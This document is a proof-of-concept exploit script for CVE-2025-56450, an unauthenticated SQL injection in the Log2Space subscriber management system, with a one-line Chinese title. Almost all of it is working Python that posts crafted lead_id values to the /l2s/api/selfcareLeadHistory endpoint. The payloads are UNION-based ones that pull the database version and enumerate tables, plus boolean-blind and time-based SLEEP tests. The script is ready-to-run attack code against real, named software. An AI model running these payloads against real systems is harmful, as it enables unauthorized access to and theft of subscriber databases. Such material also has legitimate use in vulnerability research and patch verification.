CVE-2025-56450：Log2Space订户管理系统SQL注入漏洞

# CVE-2025-56450 PoC - Log2Space SQL Injection via lead_id parameter # Unauthenticated SQL Injection in /l2s/api/selfcareLeadHistory endpoint import requests TARGET_URL = "http://target-host/l2s/api/selfcareLeadHistory" # Payload 1: UNION-based injection to enumerate database version payload_version = "' UNION SELECT @@version,2,3-- -" # Payload 2: UNION-based injection to enumerate table names payload_tables = ( "' UNION SELECT GROUP_CONCAT(table_name),2,3 " "FROM information_schema.tables " "WHERE table_schema=database()-- -" ) # Payload 3: Boolean-based blind injection test payload_boolean = "1' AND 1=1-- -" payload_boolean_false = "1' AND 1=2-- -" # Payload 4: Time-based blind injection payload_time = "1' AND SLEEP(5)-- -" def exploit(target_url, payload): """Send malicious POST request with injected lead_id parameter.""" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = {"lead_id": payload} try: response = requests.post(target_url, headers=headers, data=data, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Body:\n{response.text[:2000]}") return response except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] Testing CVE-2025-56450 - Log2Space SQL Injection") print(f"[*] Target: {TARGET_URL}") print("\n[+] Attempting UNION-based injection to get DB version...") exploit(TARGET_URL, payload_version) print("\n[+] Attempting to enumerate tables...") exploit(TARGET_URL, payload_tables) print("\n[+] Attempting boolean-based blind injection...") exploit(TARGET_URL, payload_boolean) exploit(TARGET_URL, payload_boolean_false) print("\n[+] Attempting time-based blind injection...") exploit(TARGET_URL, payload_time)